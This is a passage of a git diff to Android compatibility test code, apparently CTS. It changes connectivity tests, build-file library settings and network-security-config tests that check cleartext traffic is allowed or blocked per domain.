- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef CTS_MEDIA_TEST_AAUDIO_UTILS_H
-#define CTS_MEDIA_TEST_AAUDIO_UTILS_H
-
-#include <map>
-
-#include <aaudio/AAudio.h>
-
-int64_t getNanoseconds(clockid_t clockId = CLOCK_MONOTONIC);
-const char* performanceModeToString(aaudio_performance_mode_t mode);
-const char* sharingModeToString(aaudio_sharing_mode_t mode);
-
-class StreamBuilderHelper {
- public:
- struct Parameters {
- int32_t sampleRate;
- int32_t channelCount;
- aaudio_format_t dataFormat;
- aaudio_sharing_mode_t sharingMode;
- aaudio_performance_mode_t perfMode;
- };
-
- void initBuilder();
- void createAndVerifyStream(bool *success);
- void close();
-
- void startStream() {
- streamCommand(&AAudioStream_requestStart,
- AAUDIO_STREAM_STATE_STARTING, AAUDIO_STREAM_STATE_STARTED);
- }
- void pauseStream() {
- streamCommand(&AAudioStream_requestPause,
- AAUDIO_STREAM_STATE_PAUSING, AAUDIO_STREAM_STATE_PAUSED);
- }
- void stopStream() {
- streamCommand(&AAudioStream_requestStop,
- AAUDIO_STREAM_STATE_STOPPING, AAUDIO_STREAM_STATE_STOPPED);
- }
- void flushStream() {
- streamCommand(&AAudioStream_requestFlush,
- AAUDIO_STREAM_STATE_FLUSHING, AAUDIO_STREAM_STATE_FLUSHED);
- }
-
- AAudioStreamBuilder* builder() const { return mBuilder; }
- AAudioStream* stream() const { return mStream; }
- const Parameters& actual() const { return mActual; }
- int32_t framesPerBurst() const { return mFramesPerBurst; }
-
- protected:
- StreamBuilderHelper(aaudio_direction_t direction, int32_t sampleRate,
- int32_t channelCount, aaudio_format_t dataFormat,
- aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode);
- ~StreamBuilderHelper();
-
- typedef aaudio_result_t (StreamCommand)(AAudioStream*);
- void streamCommand(
- StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState);
-
- static const std::map<aaudio_performance_mode_t, int64_t> sMaxFramesPerBurstMs;
- const aaudio_direction_t mDirection;
- const Parameters mRequested;
- Parameters mActual;
- int32_t mFramesPerBurst;
- AAudioStreamBuilder *mBuilder;
- AAudioStream *mStream;
-};
-
-class InputStreamBuilderHelper : public StreamBuilderHelper {
- public:
- InputStreamBuilderHelper(
- aaudio_sharing_mode_t requestedSharingMode,
- aaudio_performance_mode_t requestedPerfMode);
- void createAndVerifyStream(bool *success);
-};
-
-class OutputStreamBuilderHelper : public StreamBuilderHelper {
- public:
- OutputStreamBuilderHelper(
- aaudio_sharing_mode_t requestedSharingMode,
- aaudio_performance_mode_t requestedPerfMode);
- void initBuilder();
- void createAndVerifyStream(bool *success);
-
- private:
- const int32_t kBufferCapacityFrames = 2000;
-};
-
-#endif // CTS_MEDIA_TEST_AAUDIO_UTILS_H
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index dd310a1..37bf323 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -30,7 +30,7 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
- <application>
+ <application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<uses-library android:name="org.apache.http.legacy" android:required="false" />
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index e98dfcc..27dd666 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -16,8 +16,11 @@
package android.net.cts;
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+import static android.content.pm.PackageManager.FEATURE_WIFI;
import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
import android.app.PendingIntent;
@@ -29,6 +32,7 @@
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.ConnectivityManager.NetworkCallback;
+import android.net.LinkProperties;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkConfig;
@@ -50,14 +54,23 @@
import java.io.FileNotFoundException;
import java.io.InputStream;
import java.io.IOException;
+import java.io.InputStreamReader;
import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.Inet6Address;
+import java.net.InetAddress;
import java.net.Socket;
import java.net.InetSocketAddress;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.nio.charset.StandardCharsets;
+import java.util.Collection;
import java.util.HashMap;
import java.util.Scanner;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import libcore.io.Streams;
public class ConnectivityManagerTest extends AndroidTestCase {
@@ -107,6 +120,8 @@
private final HashMap<Integer, NetworkConfig> mNetworks =
new HashMap<Integer, NetworkConfig>();
boolean mWifiConnectAttempted;
+ private TestNetworkCallback mCellNetworkCallback;
+
@Override
protected void setUp() throws Exception {
@@ -140,6 +155,10 @@
if (mWifiConnectAttempted) {
disconnectFromWifi(null);
}
+ if (cellConnectAttempted()) {
+ disconnectFromCell();
+ }
+ super.tearDown();
}
/**
@@ -246,6 +265,95 @@
}
}
+ /**
+ * Tests that connections can be opened on WiFi and cellphone networks,
+ * and that they are made from different IP addresses.
+ */
+ public void testOpenConnection() throws Exception {
+ boolean canRunTest = mPackageManager.hasSystemFeature(FEATURE_WIFI)
+ && mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
+ if (!canRunTest) {
+ Log.i(TAG,"testOpenConnection cannot execute unless device supports both WiFi "
+ + "and a cellular connection");
+ return;
+ }
+
+ Network wifiNetwork = connectToWifi();
+ Network cellNetwork = connectToCell();
+ // This server returns the requestor's IP address as the response body.
+ URL url = new URL("http://google-ipv6test.appspot.com/ip.js?fmt=text");
+ String wifiAddressString = httpGet(wifiNetwork, url);
+ String cellAddressString = httpGet(cellNetwork, url);
+
+ assertFalse(String.format("Same address '%s' on two different networks (%s, %s)",
+ wifiAddressString, wifiNetwork, cellNetwork),
+ wifiAddressString.equals(cellAddressString));
+
+ // Sanity check that the IP addresses that the requests appeared to come from
+ // are actually on the respective networks.
+ assertOnNetwork(wifiAddressString, wifiNetwork);
+ assertOnNetwork(cellAddressString, cellNetwork);
+
+ assertFalse("Unexpectedly equal: " + wifiNetwork, wifiNetwork.equals(cellNetwork));
+ }
+
+ private Network connectToCell() throws InterruptedException {
+ if (cellConnectAttempted()) {
+ throw new IllegalStateException("Already connected");
+ }
+ NetworkRequest cellRequest = new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_CELLULAR)
+ .addCapability(NET_CAPABILITY_INTERNET)
+ .build();
+ mCellNetworkCallback = new TestNetworkCallback();
+ mCm.requestNetwork(cellRequest, mCellNetworkCallback);
+ final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
+ assertNotNull("Cell network not available within timeout", cellNetwork);
+ return cellNetwork;
+ }
+
+ private boolean cellConnectAttempted() {
+ return mCellNetworkCallback != null;
+ }
+
+ private void disconnectFromCell() {
+ if (!cellConnectAttempted()) {
+ throw new IllegalStateException("Cell connection not attempted");
+ }
+ mCm.unregisterNetworkCallback(mCellNetworkCallback);
+ mCellNetworkCallback = null;
+ }
+
+ /**
+ * Performs a HTTP GET to the specified URL on the specified Network, and returns
+ * the response body decoded as UTF-8.
+ */
+ private static String httpGet(Network network, URL httpUrl) throws IOException {
+ HttpURLConnection connection = (HttpURLConnection) network.openConnection(httpUrl);
+ try {
+ InputStream inputStream = connection.getInputStream();
+ return Streams.readFully(new InputStreamReader(inputStream, StandardCharsets.UTF_8));
+ } finally {
+ connection.disconnect();
+ }
+ }
+
+ private void assertOnNetwork(String adressString, Network network) throws UnknownHostException {
+ InetAddress address = InetAddress.getByName(adressString);
+ LinkProperties linkProperties = mCm.getLinkProperties(network);
+ // To make sure that the request went out on the right network, check that
+ // the IP address seen by the server is assigned to the expected network.
+ // We can only do this for IPv6 addresses, because in IPv4 we will likely
+ // have a private IPv4 address, and that won't match what the server sees.
+ if (address instanceof Inet6Address) {
+ assertContains(linkProperties.getAddresses(), address);
+ }
+ }
+
+ private static<T> void assertContains(Collection<T> collection, T element) {
+ assertTrue(element + " not found in " + collection, collection.contains(element));
+ }
+
private void assertStartUsingNetworkFeatureUnsupported(int networkType, String feature) {
try {
mCm.startUsingNetworkFeature(networkType, feature);
@@ -324,7 +432,7 @@
* that it would increase test coverage by much (how many devices have 3G radio but not Wifi?).
*/
public void testRegisterNetworkCallback() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
return;
}
@@ -364,7 +472,7 @@
* of a {@code NetworkCallback}.
*/
public void testRegisterNetworkCallback_withPendingIntent() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
return;
}
@@ -458,7 +566,7 @@
* Tests reporting of connectivity changed.
*/
public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
return;
}
@@ -475,7 +583,7 @@
}
public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
return;
}
@@ -495,7 +603,7 @@
public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
throws InterruptedException {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
return;
}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 4c68423..b45bfe0 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -23,9 +23,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
ctstestserver \
- org.apache.http.legacy \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalseTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index 49385f8..d4ce39a 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 584afd2..89195cd 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -23,9 +23,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
ctstestserver \
- org.apache.http.legacy \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrueTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index be698f2..fe31e80 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 9a613e7..bad2cbc 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -23,9 +23,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
ctstestserver \
- org.apache.http.legacy \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index 7bd8742..c6b65c0 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index 10018ce..4af2de7 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
index 9356074..972052e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigAttributeTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 161dbd3..95e14ef 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
index 565f23a..3e5fe25 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigBasicDomainConfigTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
new file mode 100644
index 0000000..6dc6c5d
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsNetSecConfigPrePCleartextTrafficTestCases
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := 26
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
new file mode 100644
index 0000000..bec926e
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+ <application android:networkSecurityConfig="@xml/network_security_config">
+ <uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
+ </application>
+
+ <uses-permission android:name="android.permission.INTERNET" />
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases"
+ android:label="">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
new file mode 100644
index 0000000..8339a23
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS CtsNetSecConfigPrePCleartextTraffic test cases">
+ <option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsNetSecConfigPrePCleartextTrafficTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases" />
+ <option name="runtime-hint" value="8m10s" />
+ </test>
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml
new file mode 100644
index 0000000..987b178
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+ <domain-config cleartextTrafficPermitted="false">
+ <domain includeSubdomains="true">android.com</domain>
+ <domain-config cleartextTrafficPermitted="true">
+ <domain>developer.android.com</domain>
+ </domain-config>
+ </domain-config>
+</network-security-config>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java
new file mode 100644
index 0000000..b4b400c
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.net.config.cts;
+
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.X509TrustManager;
+import junit.framework.TestCase;
+
+public class CleartextPermittedTest extends TestCase {
+ public void testDefaultAllowed() throws Exception {
+ TestUtils.assertCleartextConnectionSucceeds("example.com", 80);
+ TestUtils.assertTlsConnectionSucceeds("example.com", 443);
+ }
+
+ public void testCleartextBlocked() throws Exception {
+ TestUtils.assertCleartextConnectionFails("android.com", 80);
+ TestUtils.assertTlsConnectionSucceeds("android.com", 443);
+ // subdomains of android.com are also disallowed.
+ TestUtils.assertCleartextConnectionFails("www.android.com", 80);
+ TestUtils.assertTlsConnectionSucceeds("www.android.com", 443);
+ }
+
+ public void testNestedCleartextPermitted() throws Exception {
+ // developer.android.com is explicitly permitted.
+ TestUtils.assertCleartextConnectionSucceeds("developer.android.com", 80);
+ TestUtils.assertTlsConnectionSucceeds("developer.android.com", 443);
+ }
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index 927374c..278d634 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
index b387ffa..8ee5482 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigCleartextTrafficTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
index 987b178..6d41bba 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
@@ -1,8 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
- <domain-config cleartextTrafficPermitted="false">
+ <domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">android.com</domain>
- <domain-config cleartextTrafficPermitted="true">
+ <domain-config cleartextTrafficPermitted="false">
<domain>developer.android.com</domain>
</domain-config>
</domain-config>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
index db8e40f..9592178 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
@@ -22,22 +22,22 @@
import junit.framework.TestCase;
public class CleartextPermittedTest extends TestCase {
- public void testDefaultAllowed() throws Exception {
- TestUtils.assertCleartextConnectionSucceeds("example.com", 80);
+ public void testDefaultDenied() throws Exception {
+ TestUtils.assertCleartextConnectionFails("example.com", 80);
TestUtils.assertTlsConnectionSucceeds("example.com", 443);
}
- public void testCleartextBlocked() throws Exception {
- TestUtils.assertCleartextConnectionFails("android.com", 80);
+ public void testCleartextAllowed() throws Exception {
+ TestUtils.assertCleartextConnectionSucceeds("android.com", 80);
TestUtils.assertTlsConnectionSucceeds("android.com", 443);
// subdomains of android.com are also disallowed.
- TestUtils.assertCleartextConnectionFails("www.android.com", 80);
+ TestUtils.assertCleartextConnectionSucceeds("www.android.com", 80);
TestUtils.assertTlsConnectionSucceeds("www.android.com", 443);
}
- public void testNestedCleartextPermitted() throws Exception {
- // developer.android.com is explicitly permitted.
- TestUtils.assertCleartextConnectionSucceeds("developer.android.com", 80);
+ public void testNestedCleartextDenied() throws Exception {
+ // developer.android.com is explicitly denied.
+ TestUtils.assertCleartextConnectionFails("developer.android.com", 80);
TestUtils.assertTlsConnectionSucceeds("developer.android.com", 443);
}
}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index aa0eefd..fd5f419 100644
